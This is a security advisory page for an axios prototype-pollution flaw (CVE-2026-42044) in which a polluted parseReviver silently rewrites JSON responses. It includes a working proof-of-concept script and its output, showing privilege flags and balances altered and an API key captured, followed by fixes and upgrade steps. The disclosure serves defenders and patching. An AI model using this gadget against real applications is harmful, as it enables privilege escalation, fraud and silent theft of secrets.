GHSA-3w6x-2g7m-8v23 CVE-2026-42044
Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`
- Severity
- 6.5 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.62%
- Chance of exploitation in the next 30 days. Higher than 49.62% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes
- Fix
1.15.2- Upgrade axios to this version or later
Description
Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.
The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.
This is strictly more powerful than the transformResponse gadget because:
- No constraints — the reviver can return any value (no "must return true" requirement)
- Selective modification — individual JSON keys can be changed while others remain untouched
- Invisible — the response structure and most values look completely normal
- Simultaneous exfiltration — the reviver sees the original values before modification
Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
CVSS 3.1
Score: 9.1 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the application process |
| Confidentiality | High | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured |
| Integrity | High | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values |
| Availability | None | No crash, no error — the attack is entirely silent |
Comparison with All Known Axios PP Gadgets
| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | parseReviver (This) |
|---|---|---|---|---|
| PP target | Object.prototype['header'] |
Object.prototype.transformResponse |
Object.prototype.proxy |
Object.prototype.parseReviver |
| Fixed by 1.15.0? | Yes | No | No | No |
| Constraints | N/A (fixed) | Must return true |
None | None |
| Data modification | Header injection only | Response replaced with true |
Full MITM | Selective per-key modification |
| Stealth | Request anomaly visible | Response becomes true (obvious) |
Proxy visible in network | Completely invisible |
| Data access | Headers only | this.auth + raw response |
All traffic | Every JSON key-value pair |
| Validated? | N/A | assertOptions validates |
Not validated | Not validated |
| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | No → bypasses mergeConfig |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.
Root Cause Analysis
The Attack Path
Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response
Why parseReviver Bypasses ALL Existing Protections
-
Not in defaults (
lib/defaults/index.js):parseReviveris not defined in the defaults object, somergeConfig'sObject.keys({...defaults, ...userConfig})iteration never encounters it. The merged config has no ownparseReviverproperty. -
Not in assertOptions schema (
lib/core/Axios.js:135-142): The schema only contains{baseUrl, withXsrfToken}.parseReviveris not validated. -
No type check: The
JSON.parseAPI accepts any function as a reviver. There is no check thatthis.parseReviveris intentionally set. -
Works INSIDE the default transform: Unlike
transformResponsepollution (which replaces the entire transform and is caught byassertOptions),parseReviverpollution injects into the DEFAULTtransformResponsefunction'sJSON.parsecall. The default function itself is not replaced, soassertOptionshas nothing to catch.
Vulnerable Code
File: lib/defaults/index.js, line 124
transformResponse: [
function transformResponse(data) {
// ... transitional checks ...
if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
// ...
try {
return JSON.parse(data, this.parseReviver);
// ^^^^^^^^^^^^^^^^^
// this = config
// config.parseReviver → prototype chain → attacker's function
} catch (e) {
// ...
}
}
return data;
},
],
Proof of Concept
import http from 'http';
import axios from './index.js';
// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
user: 'john',
role: 'viewer',
isAdmin: false,
canDelete: false,
balance: 100,
permissions: ['read'],
apiKey: 'sk-secret-internal-key',
}));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;
// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}
// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
// Silently capture all original values
if (key && typeof value !== 'object') stolen[key] = value;
// Surgically modify specific values
if (key === 'isAdmin') return true; // false → true
if (key === 'role') return 'admin'; // viewer → admin
if (key === 'canDelete') return true; // false → true
if (key === 'balance') return 999999; // 100 → 999999
return value; // everything else unchanged
};
// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}
console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}
delete Object.prototype.parseReviver;
server.close();
Verified PoC Output
[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
2. Financial Manipulation
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
3. Security Control Bypass
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
4. Silent Data Exfiltration
The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.
5. Universal and Invisible
- Affects every Axios request that receives a JSON response
- The response structure is intact — only specific values are changed
- No errors, no crashes, no suspicious behavior
- Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
Fix 2: Use null-prototype config object
// In lib/core/mergeConfig.js
const config = Object.create(null);
Fix 3: Validate parseReviver type and source
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
Relationship to Other Reported Gadgets
This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:
| Report | PP Target | Code Location | Fix Location | Impact |
|---|---|---|---|---|
| axios_26 | transformResponse |
mergeConfig.js:49 (defaultToConfig2) |
mergeConfig.js |
Credential theft, response replaced with true |
| axios_30 | proxy |
http.js:670 (direct property access) |
http.js |
Full MITM, traffic interception |
| axios_31 (this) | parseReviver |
defaults/index.js:124 (this.parseReviver) |
defaults/index.js |
Selective JSON value tampering + data exfiltration |
Why These Are Distinct Vulnerabilities
- Different polluted properties: Each targets a different
Object.prototypekey. - Different code paths:
transformResponseenters viamergeConfig;proxyis read directly byhttp.js;parseReviveris read inside the defaulttransformResponsefunction'sJSON.parsecall. - Different fix locations: Fixing
mergeConfig.js(axios_26) does NOT fixdefaults/index.js:124(this vulnerability). Fixinghttp.js:670(axios_30) does NOT fix this either. Each requires a separate patch. - Different impact profiles:
transformResponseis constrained to returntrue;proxyrequires a proxy server;parseReviverenables constraint-free selective value modification.
Comprehensive Fix
While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.
Resources
- CWE-1321: Prototype Pollution
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
- MDN: JSON.parse reviver
- Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| axios | >= 1.0.0, < 1.15.2 |
1.15.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
axios npm → 1.15.2
- npm
npm install axios@1.15.2- yarn
yarn add axios@1.15.2- pnpm
pnpm add axios@1.15.2
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Weakness
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.
How to prevent it
- Implementation: By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
- Architecture and Design: By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
- Implementation: When handling untrusted objects, validating using a schema can be used.
- Implementation: By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
- Implementation: Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
How to prevent it
- Implementation: If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists. For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
- Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- Implementation: For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
- Implementation, Architecture and Design: Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.
References
Advisories
Packages
Other links
- github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23
- access.redhat.com/errata/RHSA-2026:16532
- access.redhat.com/errata/RHSA-2026:16534
- access.redhat.com/errata/RHSA-2026:16535
- access.redhat.com/errata/RHSA-2026:16542
- access.redhat.com/errata/RHSA-2026:17657
- access.redhat.com/errata/RHSA-2026:17699
- access.redhat.com/errata/RHSA-2026:19109
- access.redhat.com/errata/RHSA-2026:19375
- access.redhat.com/errata/RHSA-2026:20338
- access.redhat.com/errata/RHSA-2026:20454
- access.redhat.com/errata/RHSA-2026:20889
- access.redhat.com/errata/RHSA-2026:20938
- access.redhat.com/errata/RHSA-2026:21017
- access.redhat.com/errata/RHSA-2026:21338
- access.redhat.com/errata/RHSA-2026:21772
- access.redhat.com/errata/RHSA-2026:22465
- access.redhat.com/errata/RHSA-2026:22629
- access.redhat.com/errata/RHSA-2026:22840
- access.redhat.com/errata/RHSA-2026:23361
- access.redhat.com/errata/RHSA-2026:24471
- access.redhat.com/errata/RHSA-2026:24473
- access.redhat.com/errata/RHSA-2026:24536
- access.redhat.com/errata/RHSA-2026:24539
- access.redhat.com/errata/RHSA-2026:24853
- access.redhat.com/errata/RHSA-2026:25041
- access.redhat.com/errata/RHSA-2026:25089
- access.redhat.com/errata/RHSA-2026:25271
- access.redhat.com/errata/RHSA-2026:25273
- access.redhat.com/errata/RHSA-2026:26214
- access.redhat.com/errata/RHSA-2026:26225
- access.redhat.com/errata/RHSA-2026:26232
- access.redhat.com/errata/RHSA-2026:33574
- access.redhat.com/errata/RHSA-2026:34608
- access.redhat.com/errata/RHSA-2026:36107
- access.redhat.com/errata/RHSA-2026:36882
- access.redhat.com/errata/RHSA-2026:41066
- access.redhat.com/errata/RHSA-2026:42078
- access.redhat.com/errata/RHSA-2026:50300
- access.redhat.com/security/cve/CVE-2026-42044
- bugzilla.redhat.com/show_bug.cgi
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42044.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-44g4-m2mj-wpvx Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges | Medium | Also affects axios |
| GHSA-x97p-jq2g-jp4f Axios: Prototype Pollution Gadget in axios toFormData Options | High | Also affects axios |
| GHSA-vh66-26gq-q6x8 Axios: Prototype pollution gadget in fetch adapter can alter outbound requests | Medium | Also affects axios |
| GHSA-r4gj-5m52-g5wh Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF | High | Also affects axios |
| GHSA-mghh-pgcx-3jjj Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location | High | Also affects axios |
| GHSA-m8m8-qj5v-23w3 Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection | High | Also affects axios |
| GHSA-j8rh-479h-cp32 Axios: Header Injection via Inherited headers After Minimal Interceptor | Medium | Also affects axios |
| GHSA-c29m-xwm3-cm6r Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS) | High | Also affects axios |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor